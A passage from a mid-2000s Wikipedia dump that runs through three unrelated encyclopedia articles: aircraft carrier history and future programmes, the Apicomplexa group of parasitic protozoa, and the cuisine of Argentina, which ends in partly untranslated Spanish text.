During the Second World War, aircraft would land on the flight deck parallel to the long axis of the ship's [[Hull (watercraft)|hull]]. Aircraft which had already landed would be parked on the deck at the bow end of the flight deck. A crash barrier was raised behind them to stop any landing aircraft which overshot the landing area because its landing hook missed the arrestor cables. If this happened, it would often cause serious damage or injury and even, if the crash barrier was not strong enough, destruction of parked aircraft. 

An important development of the 1940s was the British invention of the angled deck, where the runway was canted at an angle of a few degrees across the ship. If an aircraft misses the arrestor cables, the pilot only needs to increase [[engine]] power to maximum to get airborne again and will not hit the parked aircraft because the angled deck points out over the sea. The picture of [[USS John C. Stennis (CVN-74)|USS ''John C. Stennis'']] at the top shows an angled landing deck.

===Post-War Developments===
[[Image:FS CdG Optics.jpg|thumb|250px|Landing optics of ''[[FS Charles de Gaulle|Charles de Gaulle]]'']]

The modern steam-powered catapult, powered by steam from the ship's [[boiler]]s or reactors, was invented by Commander C.C. Mitchell [[Royal Naval Reserve|RNVR]]. It was widely adopted following trials on [[HMS Perseus (R51)|HMS ''Perseus'']] between 1950 and 1952 which showed it to be more powerful and reliable than the compressed air catapults which had been introduced in the 1930s. As now only [[nuclear power|nuclear powered]] carriers have boilers as part of their motive power system, the majority of aircraft carriers are now equipped with steam generating plant solely to power the catapults.

Another British invention was the glide-slope indicator (also known as a &quot;meatball&quot;). This was a gyroscopically-controlled lamp on the port side of the deck which could be seen by the aviator who was about to land, indicating to him whether he was too high or too low in relation to the desired glidepath. It also took into account the effect of the waves on the flight deck. The device became a necessity as the landing speed of aircraft increased.

The US Navy prematurely attempted to become a strategic nuclear force with the project to build [[USS United States (CVA-58)|''United States'']], termed CVA, with the &quot;A&quot; signifying &quot;atomic&quot;. This ship would have carried twin-propeller bombers, each of which could carry an atomic bomb. The project was cancelled under pressure from the newly-created [[United States Air Force]], and the letter &quot;A&quot; was re-cycled to mean &quot;attack.&quot; But this only delayed the growth of carriers. Nuclear weapons would put to sea despite Air Force objections in 1955 aboard [[USS Forrestal (CV-59)|USS ''Forrestal'']], and by the end of the fifties the Navy had a series of nuclear-armed attack aircraft.

The US Navy took nuclear power afloat in other ways by building aircraft carriers powered by nuclear reactors. [[USS Enterprise (CVN-65)|USS ''Enterprise'']] was the first aircraft carrier to be powered in this way and subsequent supercarriers took advantage of this technology to increase their endurance. The only other nation to have followed the US lead is France with [[FS Charles de Gaulle|''Charles de Gaulle'']].

The post-war years also saw the development of the helicopter with different capabilities to a fighter aircraft. Whereas fixed-wing aircraft are suited to air-to-air combat and air-to-surface attack, helicopters are used to transport equipment and personnel and can be used in an [[anti-submarine warfare]] role with dipped sonar and missiles.

In the late 1950s and early 1960s, the UK converted some of its old carriers into Commando Carriers, sea-going helicopter airfields like [[HMS Bulwark (R08)|HMS ''Bulwark'']]. To militate against the expensive connotations of the term &quot;aircraft carrier&quot;, the new [[Invincible class aircraft carriers|''Invincible'' class]] carriers were originally designated &quot;through deck cruisers&quot; and were initially helicopter only craft to operate as escort carriers. The arrival of the Sea Harrier meant they could carry fixed wing aircraft despite their short flight deck.

==Aircraft carriers today==
[[Image:FlightOps launch.jpg|thumb|200px|Flight operations on the deck of [[USS Abraham Lincoln (CVN-72)|USS ''Abraham Lincoln'']].]]
Aircraft carriers are generally the largest ships operated by [[Navy|navies]]; a ''Nimitz''-class carrier powered by two [[nuclear reactor]]s and four [[steam turbine]]s is 1092 ft (333 m) long and costs about $10 billion. The United States has the majority of aircraft carriers with a dozen in service, and its aircraft carriers are a cornerstone of American power projection capability.

Ten countries maintain aircraft carriers: [[United States]], [[United Kingdom]], [[France]], [[India]], [[Russia]], [[Spain]], [[Brazil]], [[Italy]] and [[Thailand]]. In addition the [[People's Republic of China]]'s [[People's Liberation Army Navy]] possesses the former [[Soviet Union|Soviet]] aircraft carrier [[Soviet aircraft carrier Varyag|''Varyag'']], but most naval analysts believe that they have no intention to operate it, but instead are using ''Varyag'' to learn about carrier operations for a future Chinese aircraft carrier. Canada, China, Japan, [[Pakistan]], [[Australia]] and [[Chile]] also operate helicopter-carrying vessels.

Aircraft carriers are generally accompanied by a number of other ships, to provide protection for the relatively unwieldy carrier, to carry supplies, and to provide additional offensive capabilities. This is often termed a battle group or carrier group, sometimes a carrier battle group.

===Modern carriers===
[[Image:HMS Hermes (R12) (Royal Navy aircraft carrier.jpg|thumb|200px|HMS ''Hermes'']]
More modern uses of aircraft carriers include the [[Falklands War]], where the United Kingdom was able to win a conflict 8,000 miles (13,000 km) from home in large part due to the use of the full size carrier HMS ''Hermes'' and the smaller [[HMS Invincible (R05)|HMS ''Invincible'']]. The Falklands showed the value of a [[VSTOL]] aircraft&amp;mdash;the [[Hawker-Siddeley Harrier]] (the RN Sea Harrier and press-ganged RAF Harriers) in defending the fleet and assault force from shore based aircraft and for attacking the enemy. Helicopters from the carriers were used to deploy troops and pick up the wounded. 

The US has also made use of carriers in the [[Persian Gulf]], [[Afghanistan]] and to protect its interests in the Pacific. Most recently, the [[2003 invasion of Iraq]] featured US aircraft carriers as the primary base of US air power. Even without the ability to place significant numbers of aircraft in Middle Eastern airbases, the United States was capable of carrying out significant air attacks from carrier-based squadrons.

In the early 21st century, worldwide aircraft carriers were capable of carrying about 1250 aircraft. US carriers accounted for over 1000 of these; the second leading country, the United Kingdom fielded over 50 aircraft. The United Kingdom and France are both undergoing a major expansion in carrier capability (with a [[Royal Navy CVF programme|common ship class]]), but the United States will still maintain a very large lead.

&lt;p clear=&quot;left&quot;&gt;

==Future aircraft carriers==
Several nations which currently possess aircraft carriers are in the process of planning new classes, to replace current ones. 

===French ''Marine Nationale''===
The [[French Navy]] has set in motion plans for a [[Future French aircraft carrier|second aircraft carrier]], to supplement ''[[FS Charles de Gaulle|Charles de Gaulle]]''. The design is to be much larger, in the range of 50&amp;ndash;60,000 tonnes, and will not be nuclear-powered like Charles de Gaulle. There are plans to adopt the current [[Royal Navy CVF programme|Royal Navy design]] for [[CATOBAR]] operations (the [[Thales Group|Thales]]/[[BAE Systems]] design for the Royal Navy is for a STOVL carrier which is reconfigureable to CATOBAR operations).

===Indian Navy===
&lt;!-- Image with unknown copyright status removed: [[Image:Gorshkov-01-model.jpg|right|thumb|200px|A model of [[Admiral Gorshkov]] after reconfiguration.]] --&gt;

India started the construction of a 37,500 tonne, 252 metre-long aircraft carrier in April [[2005]]. The new carrier will cost US$762 million and will operate [[Mikoyan MiG-29|MiG 29K 'Fulcrum']] and Sea Harrier aircraft along with Russian- and Indian-made helicopters. The ship will be powered by four turbine engines and when completed will have a range of 7,500 nautical miles, carrying 160 officers, 1400 sailors, and 30 aircraft. The carrier is to be constructed by a state-run shipyard in southern India. In 2004, India also bought [[Soviet aircraft carrier Admiral Gorshkov|''Admiral Gorshkov'']] from [[Russia]] for US$1.5 billion; it is expected to join the [[Indian Navy|Indian Navy]] in 2008 after a refit.{{ref|India}}

===Italian ''Marina Militare''===
The construction of the conventional powered ''[[Marina Militare]]'' V/STOL aircraft carrier [[Cavour (C552)|''Cavour'']] began in 2001. It is being built by [[Fincantieri]] of Italy. After much delay, ''Cavour'' is expected to enter service in 2008  to complement the Marina Militare aircraft carrier [[Italian aircraft carrier Giuseppe Garibaldi|''Giuseppe Garibaldi'']]. A second aircraft carrier in the 25-30,000 ton range is much desired by the Italian Navy, to replace the already decommissioned carrier [[Italian aircraft carrier Vittorio Veneto|''Vittorio Veneto'']], but for budgetary reasons all further development is on hold.

===People's Republic of China===
In June 2005, it was reported by boxun.com that [[China]] would build a US$362 million aircraft carrier with a displacement of 78,000 tons, to be built by the Jiangnan Shipyard in [[Shanghai]]. The report was denied by Chinese defense official ''Zhang Guangqin''. {{ref|China}} Previous attempts to purchase an aircraft carrier from Russia and France did not succeed.

===British Royal Navy===
[[Image:2006 CVF STOVL.jpg|thumb|200px|Royal Navy CVF]]
The Royal Navy is currently planning two new larger aircraft carriers (as yet only known as [[Royal Navy CVF programme|CVF]]) to replace the two [[Invincible class aircraft carrier|''Invincible'' class]] carriers currently in service. These two ships are expected to be named [[HMS Queen Elizabeth (2012)|HMS ''Queen Elizabeth'']] and [[HMS Prince of Wales (2015)|HMS ''Prince of Wales'']]. They will be able to operate about 50 aircraft and will have a displacement of around 60,000 tonnes. The two ships are due to enter service in 2012 and 2015 respectively. Their primary aircraft complement will be made up of [[F-35 Joint Strike Fighter]], and their ship's company will number around 1000.

The two ships will be the largest warships ever built for the Royal Navy. Initially to be configured for STOVL operations, the carriers are to be adaptable to allow any type of future generation of aircraft to operate from them.

===Russian Federation===
Has one operational aircraft carrier, [[Soviet aircraft carrier Kuznetsov | ''Admiral Kuznetsov'']]. [[Image:Carrier_Admiral_Kuznetsov.jpg|thumb|200px|right|Russian ''Admiral Kuznetsov'']]

The Russian Federation is currently developing a new aircraft carrier design. They are starting from scratch to make a modern model, with the newest available materials and electronics. Requirements would be for two aircraft carriers - one for the Russian Baltic Fleet and one for the Russian Pacific Fleet. Construction is set to begin by 2010, and finish in around 6 years.

===Spanish ''Armada Española''===
[[Image:buqueproyeccionestrategica.jpg|thumb|200px|right|Spanish ''Buque de proyección estratégica'']]
The project for the 231 meter-long and 25,000-30,000 tons conventional powered ''[[Buque de Proyección Estratégica]]'' (Strategic projection vessel) for the Spanish navy was approved in 2003, and its construction started in August 2005, with the ship-building firm [[Navantia]] in charge of the project. The ''Buque de proyección estratégica'' is a vessel designed to operate both as [[amphibious assault]] vessel and as VSTOL aircraft carrier, depending on the mission assigned. The design was made keeping in mind the low-intensity conflicts in which the Spanish Armada is going to be involved in the future. When it is configured to operate as VSTOL aircraft carrier, the operating range will be about 25,000 tons, and it will operate a maximum of 20 [[AV-8B Harrier II|Matador AV-8B+]], F-35 or a mixed force of both aircraft. The ship is provided with a Sky-Jump and a tri-dimensional radar based combat system, and she will be the second operating aircraft carrier of the Spanish navy after [[Spanish aircraft carrier Principe de Asturias|''Príncipe de Asturias'']].

===US Navy===
[[Image:Image-CVNX picture.JPG|200px|thumb|right|CVNX/CVN-21]]

The current US Fleet of [[Nimitz class aircraft carrier|''Nimitz''-class]] carriers are to be followed into service (and in some cases replaced) by the [[CVN-21]]/CVNX Carrier. It is expected that the ships will be larger and will operate more aircraft than the 80 or so of [[USS Nimitz|''Nimitz'']], and will also be designed for lower detectability by radar.

==Aircraft carriers in fiction==
See the article on [[Aircraft Carriers in Fiction|aircraft carriers in fiction]] for more information.

==See also==
* [[List of aircraft carriers]]
** [[List of aircraft carriers by country]]
** [[List of aircraft carriers by type]]
** [[List of aircraft carrier classes of the United States Navy]]
** [[List of aircraft carrier deployments]]
* [[List of amphibious warfare ships]]
* [[Project Habbakuk]]
* [[CATOBAR]]
* [[STOL]]
* [[STOBAR]]
* [[STOVL]]
* [[VSTOL]]

==References==
# {{note|India}}[http://www2.chinadaily.com.cn/english/doc/2005-04/12/content_433517.htm Article on India's indegeniously-built aircraft carrier.]
# {{note|China}}[http://english.www.gov.tw/index.jsp?action=cna&amp;cnaid=11087 CNA report]

==External links==
* {{note|China}}[http://english.www.gov.tw/index.jsp?action=cna&amp;cnaid=11087 CNA report]
* [http://www.hazegray.org/navhist/carriers/ Haze Gray &amp; Underway, World Aircraft Carrier Lists] comprehensive and detailed listings of all the world's aircraft carriers and [[seaplane tender]]s from 1913-2001, with photo gallery.
* [http://www.navy.mil/navydata/fact_display.asp?cid=4200&amp;tid=200&amp;ct=4 Aircraft carriers of the USN]

{{commons|Category:Aircraft carriers}}

[[Category:Aircraft carriers|*]]
[[Category:Ship types]]

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    <title>Apicomplexa</title>
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      <text xml:space="preserve">{{Taxobox
| color = khaki
| name = Apicomplexa
| regnum = [[Protista]]
| phylum = '''Apicomplexa'''
| subdivision_ranks = Classes &amp; subclasses
| subdivision = 
Class [[Conoidasida]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;[[Gregarinasina]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;[[Coccidiasina]]&lt;br /&gt;
Class [[Aconoidasida]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;[[Haemosporasina]]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;[[Piroplasmasina]]
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The '''Apicomplexa''' are a large group of [[protozoa]], characterized by the presence of an apical complex at some point in their life-cycle.  They are exclusively parasitic, and completely lack [[flagellum|flagella]] or [[pseudopod]]s except for certain [[gamete]] stages.  Diseases caused by Apicomplexa include:

* [[Babesiosis]] (''[[Babesia]]'')
* [[Cryptosporidiosis]] (''[[Cryptosporidium]]'')
* [[Malaria]] (''[[Plasmodium]]'')
* [[Toxoplasmosis]] (''[[Toxoplasma gondii]]'')

Most members have a complex life-cycle, involving both asexual and sexual reproduction.  Typically, a host is infected by ingesting cysts, which divide to produce ''[[sporozoite]]s'' that enter its cells.  Eventually, the cells burst, releasing ''[[merozoites]]'' which infect new cells.  This may occur several times, until ''gamonts'' are produced, forming gametes that fuse to create new cysts.  There are many variations on this basic pattern, however, and many Apicomplexa have more than one host.

The apical complex includes vesicles called rhoptries and micronemes, which open at the anterior of the cell.  These secrete enzymes that allow the parasite to enter other cells.  The tip is surrounded by a band of [[microtubule]]s, called the polar ring, and among the Conoidasida there is also a funnel of rods called the conoid.  Over the rest of the cell, except for a diminished mouth called the micropore, the membrane is supported by vesicles called alveoli, forming a semi-rigid pellicle.

The presence of alveoli and other traits place the Apicomplexa among a group called the [[alveolate]]s.  Several related flagellates, such as ''[[Perkinsus marinus|Perkinsus]]'' and ''Colpodella'' have structures similar to the polar ring and were formerly included here, but most appear to be closer relatives of the [[dinoflagellate]]s.  They are probably similar to the common ancestor of the two groups.

Another similarity is that apicomplexan cells contain a single [[plastid]], called the apicoplast, surrounded by either 3 or four membranes.  Its functions are thought to include tasks such as lipid synthesis, it appears to be necessary for survival.  They are generally considered to share a common origin with the chloroplasts of dinoflagellates, although some studies suggest they are ultimately derived from [[green alga|green]] rather than [[red algae]].

The Apicomplexa comprise the bulk of what used to be called the Sporozoa, a group for parasitic protozoans without flagella, pseudopods, or cilia. Most of the Apicomplexa are motile however.  The other main lines were the [[Ascetosporea]], the [[Myxozoa]] (now known to be derived from [[animal]]s), and the [[Microsporidia]] (now known to be derived from [[fungus|fungi]]).  Sometimes the name Sporozoa is taken as a synonym for the Apicomplexa, or occasionally as a subset.
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  <page>
    <title>Cuisine of Argentina</title>
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      <text xml:space="preserve">{{Cuisine}}
:''This article was a former [[Wikipedia:Spanish Translation of the Week|Spanish Translation of the Week]]. Portions of the [[#Central region and las Pampas]] and [[#Northwest region]] sections still need to be translated.  The Spanish text has been commented out; to translate, simply click &quot;edit&quot; on the specific sections.  You can also help by copyediting and proofreading.''

Argentine cuisine has evolved distinctly from the rest of the Latin American culinary landscape because of the heavy influence of [[Italian cuisine|Italian]] and [[Spanish cuisine]]. These European traditions have been complemented by indigenous influences, most notably those of [[Andean]] origin (including [[Quechua]] and [[Mapuche]]) and those of Amazonic origin (such as the [[Guaraní]]).  The influx of Italian, Spanish and even some Near Eastern dishes makes the typical Argentine diet is a variation on what is often called the [[Mediterranean diet]].

Another determining factor in Argentine cuisine is that Argentina is one of the world's major food producers. It is a major producer of [[wheat]], beans, [[maize]] and corn, [[meat]] (especially [[beef]]), [[milk]] and, since the [[1970s]], [[soybean]]s. Given the country's vast production of beef, red meat is an exceedingly common part of the Argentine diet (in many periods of Argentine history the annual consumption of beef has been above 100 kg per capita  and during the 19th century, neared 180 kg per capita.) Similarly, the enormous quantities of domestically-harvested wheat have made white bread (made with wheat flour) the most commonly found on the table. This explains, to a great deal, the populariity of wheat-based Italian dishes, as well as the fact that Argentine pizza uses more dough than Italian pizza.

Besides the regional disparities addressed in this article, there exist at least two other comparisons which are important in understanding Argentine cuisine: the first distinguishes a cuisine that is essentially urban and cosmopolitan (highly influenced by the &quot;globalization&quot; of food and eating patterns) from a more traditional, idiosyncratic rural cuisine. The second comparison is made on the basis of socioeconomic differences.

While certain foods can be found in all corners of the country (barbecued meat; dulce de leche; empanadas; yerba mate,) one can map out four broad gastronomical regions based on major trends.


==Typical foods==
Argentines are famous for their high [[protein]] diet, particularly [[beef]]. Grilled meat (''parrilla'') from the ''[[asado]]'' is a staple, with [[steak]] and beef ribs especially common. ''[[Chorizo]]'', ''[[black pudding|morcilla]]'', ''[[chinchulines]]'', ''[[mollejas]]'', and other parts of the animal are enjoyed. In [[Patagonia]], lamb and [[chivito]] &amp;mdash; goat &amp;mdash; are eaten more than beef. Whole lambs and goats can be seen on the asado. ''[[Chimichurri]]'', a sauce of herbs and chili, is usually the only seasoning for steak and chorizo. 

[[Image:Spaghetti-prepared.jpg|right|200px|thumb|''Fideos'' and other Italian dishes are features of Argentine cuisine]]

Breaded and fried meat &amp;mdash; ''[[milanesa]]s'' &amp;mdash; are used as snacks, in sandwiches or eaten warm with mashed [[potato]]es &amp;mdash; ''puré''. ''[[Empanadas]]'' &amp;mdash; pastries of meat, cheese, sweet corn and a hundred other varieties &amp;mdash; are a common sight for parties, starters and [[picnic]]s across Argentina. Vegetables and salads are important too for Argentines, even beyond the fried or mashed potato. [[Tomato]]es, [[onions]], [[lettuce]], [[eggplant]]s, [[squash]]es and [[zucchini]] are common sides. 

Just as much as beef, [[Italy|Italian]] staples, such as [[pizza]] and ''[[al dente]]'' [[pasta]], are eaten. It is said that [[Buenos Aires]] has more pizzerias than [[Rome]]. ''[[noodles|Fideos]]'', ''[[Gnocchi|ñoquis]]'', ''[[Ravioli|ravioles]]'' and [[Cannelloni|canelones]] can be bought freshly-made on every block in [[Buenos Aires]]. Italian-style [[ice cream]] is made in huge parlours, with even drive-thru places offering hundreds of flavors to satisfy this national obsession.

In [[Chubut]], the Welsh community is known for their teahouses, with [[scones]] and ''Torta Galesa'', rather like [[Bara Brith]].

''Sandwiches de miga'' are delicate sandwiches made with crustless buttered white bread, very thinly sliced cured meat and cheese and leaf lettuce.  They are often purchased from entrepreneurial home cooks and consumed with a [[Cerveza Quilmes|Quilmes beer]] for a light evening meal.

[[Image:GEM corn.jpg|thumb|200px|right|Maize features in pre-Columbian Argentine cuisine]]

In the provinces, food is less European and more influenced by pre-Columbian and colonial traditions, with [[maize]], beans, [[pumpkin]]s and chilis making more appearances, whereas in Buenos Aires, even [[black pepper]] has been shunned. ''[[Locro]]'' is a spicy [[stew]] of white maize, often with pumpkin and [[sausage]]. ''Pucheros'' (stews) and ''cazuelas'' (casserikes) reflect a blend of [[Amerindian]] and Spanish cuisines.

The sweet paste, ''[[Dulce de leche]]'' is another national obsession, used to fill cakes and pancakes, spread over toasted bread for breakfast or as an ice cream flavour. ''[[Alfajor]]es'' are shortbread cookies sandwiched together with dulce de leche or a fruit paste.  The &quot;policeman's&quot; or &quot;truck driver's&quot; sweet is cheese with [[quince]] paste or ''dulce de membrillo''. ''Dulce de batata'' is made of [[sweet potato]] / [[yam (vegetable)|yam]]: this with cheese is the ''[[Martin Fierro]]'''s sweet. Fruits of Argentina are delicious, and their quinces, [[apple]]s, [[pear]]s, [[peach]]es, [[kiwifruit]]s, [[avocado]]s and [[plum]]s are major exports.

A traditional drink of Argentina is a tea-like drink called ''[[yerba mate]]'' or ''mate''.  The dried leaves and twigs are placed in a small cup, also called ''mate'', usually made from a gourd, but also bone or horn. The drink is sipped through a metal or cane straw called a ''bombilla''. ''Mate'' can be sweetened with sugar, or flavoured with aromatic herbs or dried orange peel, to hide its strong bitter flavour, although this a less traditional method, looked at unkindly by seasoned drinkers, as the added flavours may remain in the gourd and influence later ''mates''. Hot water is poured into the gourd at near-boiling point so as to not burn the herb and spoil the flavour. This action is called ''cebando el mate'', and is considered an important social ritual. At family or small social gatherings, one mate may be shared by the group, with the host preparing the mate to the preference of each guest.  When one guest is finished, the mate is returned to the host, who will then prepare a mate for another guest.  ''Mate cocido'' is the same leaf, which rather than brewed, is boiled and served, as coffee or tea, with milk or sugar to taste. Other typical drinks include [[wine]] (occasionally mixed with soda water); tea and coffee are equally important. 'Quilmes' is the national brand of [[lager]], named after the town [[Quilmes]] where it was first produced.

==Regional differences==
Although there exists an Argentine cuisine that is common to the whole country&amp;mdash;[[asado]]s (grilled meats), [[dulce de leche]] (a sweet caramel-like custard), [[empanadas]] and [[mate]]&amp;mdash;there is a cuisine that is specific to each of four regions of Argentina, which follow in order of population (2005):

# Central/[[Pampa|Pampean]]
# North-west/[[Cuyo, Argentina|Cuyo]]
# North-east
# [[Patagonia]]/[[Tierra del Fuego]]

===Central region and las Pampas===
This region comprises of the provinces of [[Buenos Aires Province|Buenos Aires]], [[Córdoba Province, Argentina|Córdoba]], [[Santa Fe Province|Santa Fe]], [[La Pampa Province|La Pampa]], part of [[Entre Ríos]], and all of the Autonomos City of [[Buenos Aires]].
This region of Argentina has received the greatest direct European influence, most visibly from [[Italy]] and [[Spain]]. It is also a crucial center of [[cattle]] production for Argentina and is thus the origin of the quintessentially Argentine dishes ''[[carne asada]]'' (roasted beef) and ''[[dulce de leche]]''.  It is here that red-meat-based foods are combined with white meat, dairy products and pasta, producing a high-[[protein]] [[diet (nutrition)|diet]].  

In addition to the aforementioned ''carne asada'' and ''dulce de leche'', other dishes that typify the region are ''milanesas'', or breaded meats. A common dish of this variety is the ''milanesa napolitana'' (the name comes from [[Naples]], [[Italy]]).  ''Milanesa napolitana'' is an Argentine innovation despite its name. In addition to roast beef, ''bifes'', and ''churrascos'', a visitor to the central region will find many dishes of Italian origin that have been incorporated into the Argentine cuisine and heavily modified from their original forms.

[[Pizza]] (locally pronounced ''pisa''), for example, has been wholly subsumed and in its Argentine form more closely resembles Italian [[calzone]]s than it does its Italian ancestor. Typical or exclusively Argentine pizzas include ''pizza canchera'', ''pizza rellena'' (stuffed pizza), ''pizza por metro'' (pizza by the meter), and ''pizza a la parrilla'' (grilled pizza). While Argentine pizza, derives from [[Naples|Neapolitan]] cuisine, the Argentine ''fugaza''/''fugazza'' comes from the ''focaccia xeneise'' ([[Genoa]]n), but in any case its preparation is different from its Italian counterpart, and the addition of cheese to make the dish (fugaza con queso or fugazzeta) is an Argentine invention.

Another Argentine invention is ''[[fainá]]'', a type of fugazza made with [[chickpea]]  flour (adopted from Spain).  During the [[20th century]], people in pizza shops in Buenos Aires, Rosario or Córdoba have commonly ordered a &quot;combo&quot; of ''moscato'', pizza, and ''fainá''. This is a large glass of a sweet wine called [[moscato]] ([[muscat]]), plus two triangular stacked pieces (the lower one being pizza and the upper one ''fainá'').

Nevertheless, the ''[[pasta]]s'' (pasta, always in the plural) surpass pizzas in consumption levels. Among them are ''tallarines'' ([[fettuccine]]), ''ravioles'' ([[ravioli]]), ''ñoquis'' ([[gnocchi]], and ''canelones'' ([[cannelloni]]).  They are usually cooked, served, and consumed in Argentine fashion, called ''al-uso-nostro'', a phrase of Italian origin. 

For example, it is common for pasta to be eaten together with white bread (&quot;French bread&quot;), which is unusual in Italy. This can be explained by the low cost of bread and the fact that Argentine pastas tend to come together with a large amount of ''tuco'' sauce (Italian ''suco'' &quot;juice&quot;), and accompanied by ''[[estofado]]'' (stew). Less commonly, pastas are eaten with a dressing of ''[[pesto]]'', a green sauce based on [[basil]], or ''salsa blanca'' ([[Béchamel sauce]]).

The ''sorrentinos'' are also a local dish with a misleading name (they do not come from [[Sorrento]], but were invented in [[Mar del Plata]]). They look like big round ''ravioles'' stuffed with [[mozzarella]], [[cottage cheese]] and [[basil]] in [[tomato sauce]]. 

''[[Polenta]]'' comes from northern Italy and is very common throughout Argentina. But unlike in Italy, this [[cornmeal]] is eaten as a main dish, with sauce and melted cheese.

Spanish influences are abundant: desserts like the ''[[churros]]'' (cylinders of pastry, usually fried, sometimes filled with [[dulce de leche]]), [[''flan'']], 
''ensaimadas'' ([[Catalan]] sweet bread), and ''[[alfajor]]es'' are all descended from Spain. Main dishes such as the ''[[Spanish tortilla|tortillas]]'' ([[omelet]]s of egg, onion and potato, and having no relation to the Mexican dish of the same name), nearly all kinds of stew, ''arroces'' (rice dishes such as [[paella]]), and ''fabada'' ([[Asturian]] bean stew).  All of the ''[[guiso]]s'' and ''[[puchero]]s'' ([[stew]]s) are of Spanish origin. Argentine preparations of fish, such as dried salt [[cod]] (''[[Bacalhau|bacalao]]''), calamari, and octopus, originate from the [[Basque]] and [[Galician]] regions.  

''[[Empanada]]s'', though typically South American, have a [[Moorish]] origin (they derived from the [[Southwest Asia|Near-Eastern]] ''lahmayim'' and ''[[fatay]]''), and they can be also traced to the [[Galicia (Spain)|Galicia]]n empanada and to certain stuffed ''[[calzoni]]''.

Germanic influence is comparatively small, but appears remarkable in the field of sweet dishes. The pastries known as ''facturas'' are Germanic in origin: [[croissant]]s, known as ''medialunas'', are the most popular of these, and can be found in two varieties: butter- and lard-based.  Also German in origin are the &quot;Berlinese&quot; known as ''bolas de fraile'' (&quot;friar's balls&quot;), and the rolls called ''piononos''. The ''facturas'' were re-christened with local names given the difficult phonology of German, and usually Argentinized by the addition of a dulce of leche filling.

Most dishes of the Central/Pampean region are urban, often requiring a gas [[oven]] of a type not found in the countryside. This is not strange considering that more than 80% of the [[demographics of Argentina|Argentine population]] is concentrated in the main cities of this region ([[Buenos Aires City|Buenos Aires]], [[Rosario]], [[Córdoba, Argentina|Córdoba]], etc.). Not much is left of the ''gaucho'' food, except ''asado'', ''dulce de leche'', ''mate'' (the yerba mate infusion), ''tortas fritas'', and ''arroz con leche'' ([[rice pudding]]).

The scene was different until the first half of the 19th century.  [[Lucio V. Mansilla]] in his ''Memorias'' records that in the cities of Buenos Aires province (which at that time also included [[Montevideo]], now in [[Uruguay]]) common foods were ''[[quibebe]]'', ''[[mazamorra]]'' (a sweet, milky corn pudding) as a dessert, ''[[chancaca]]'' (a sugary, brown, corn cake), the [[pacú]] fish, ''[[surubí]], [[sábalo]], ''asados'' (roasts) etc.'' 

When the [[Salta]]-born [[Juana Manuela Gorriti]] wrote her book ''La cocina ecléctica'' (&quot;Eclectic Cuisine&quot;) in the last years of the 19th century, already a large part of the Argentine preparations mentioned in this book were forgotten among the people of the Central region and the Pampas. It was precisely in this era that the great innovative influx of Italian immigrants and Italian food occurred. The aforementioned L.V. Mansilla noted the existence of ''ravioles'' in principal cities of the [[Río de la Plata]] basin around the [[1880s]]; [[Jorge Luis Borges]] said that &quot;the first time&quot; that he came to know ravioli was at the beginning of the 20th century, while very young, at the home of Italian immigrants whose Argentine son invited him.

In the rural areas of the Pampas corresponding to la [[Pampa Húmeda]], principally in the center and south of Santa Fe, center, east and south of Córdoba and north Buenos Aires, sausage preparations such as ''salames'' ([[salami]]), ''[[bondiola]]s'', ''[[codeguín|codeguines]]'', ''[[salamín|salamines]]'', etc. are very common. 

The preparation of [[ham]] is inherited as much from the Spanish ''[[jabugo]]s'' as from the ''[[prosciutto|prosciutti]]'' of Parma (Italy). The most famous Argentine hams are probably the '''jamones serranos''' (Serrano hams) from [[Sierras de Córdoba]] and environs.

&lt;!--
Despite the fact that many Italian and Spanish immigrants came from coastal areas and despite the fact that Argentina is rich in marine resources, during the entire 20th century, the level of fish consumption has been relatively low. The main explanation of this phenomenon was the abundant availability of beef and poultry (mainly chicken) and to the fact that these types of meet are more filling than most fish, and shellfish; the most common preparations of fish have been simple [[escalope]]s of fillet of ''[[merluza]]  y [[chapín]]es. Aunque desde la segunda mitad de s XX el porcentaje de católicos practicantes ha disminuido de continuo y en el 2005 quizás sólo sean un 20% de la población total, se mantienen en gran medida las festividades y los platos asociados a ellas'': [[Christmas]] &amp;ndash; on Christmas it is traditional to eat oven-roasted ''[[pavo]] o chancho (puerco) al horno,'' accompanied by [[turron]]s, and ''[[pan dulce]]'' that is directly derived from [[Milan]]ese [[panettone]]. For [[Easter]] they eat [[Easter egg]]s. ''En tanto que para [[Semana Santa]]  fechas en que la iglesia exige ayuno de carnes salvo las de pescados, son típicas las '''empanadas de vigilia''' (principalmente las rellenas de atún), y guisados con'' ''bacalao'' ([[cod]])  or, in its absence, ''[[cazón]]''.

Wine production in this part of Argentina is qualitatively and quantitatively inferior than that in the Northeast and the Cuyo; nonetheless, there are some interesting wines: in the colonial era, famous wines were made by the Jesuits en [[Alta Gracia]] (in the [[Sierras de Córdoba]]), and since  the end of the 19th century notable wines have come from [[Caroya]], also in the province of Córdoba though not in the ''sierra'' but the piedemontof the Cordobam ''pampa''. ''También se ha producido y producen vinos de humilde calidad en la región llamada &quot;La Costa&quot;'', which is to say ''las zonas ribereñas del río Paraná y del Río de La Plata desde la ciudad de Santa Fe hasta las adyacencias de La Plata; del otro lado del Río de La Plata ,en Uruguay , se ha logrado la producción de un vino de más calidad ,principalmente en [[Juanicó]].

La producción láctea de la región pampeana es ingente (pese a que se vio perjudicada durante la década de los 90 de s XX y el primer lustro de s XXI por la llamada &quot;soyización&quot; o &quot;sojización&quot; del campo argentino). Aunque la gran producción láctea de la región aún no se ve reflejada en la producción a una escala importante de quesos típicos, sin embargo puede hacerse mención del [[queso Mar del Plata]]  y del [[queso Colonia]] (el queso Colonia es de procedencia uruguaya, fabricado inicialmente en [[Colonia Suiza]], aunque su elaboración se ha difundido en zonas de Buenos Aires y Santa Fe). También originado fuera de esta zona, tal como su nombre lo señala, es el [[queso Chubut]] sin embargo durante el s XX el sur de la provincia de Buenos Aires ha sido importante productor de este tipo de queso. Las pizzas argentinas suelen ser preparadas con ''[[musarela]]'' ,queso que imita al italiano llamado [[mozzarella]], aunque por lo general la musarela es realizada con leche de oveja o leche de vaca, a diferencia de la leche de búfala que es la usada para la mozzarella, los fideos y otras pastas (inclusive la polenta) suelen ser cubiertas con [[queso rallado]]]  de tipo [[parmigiano]] or [[regiano]]. Otro queso of Italian origin bastante apreciado en Argentina (y muchas veces cocinado junto a los asados) es el [[provolone]].

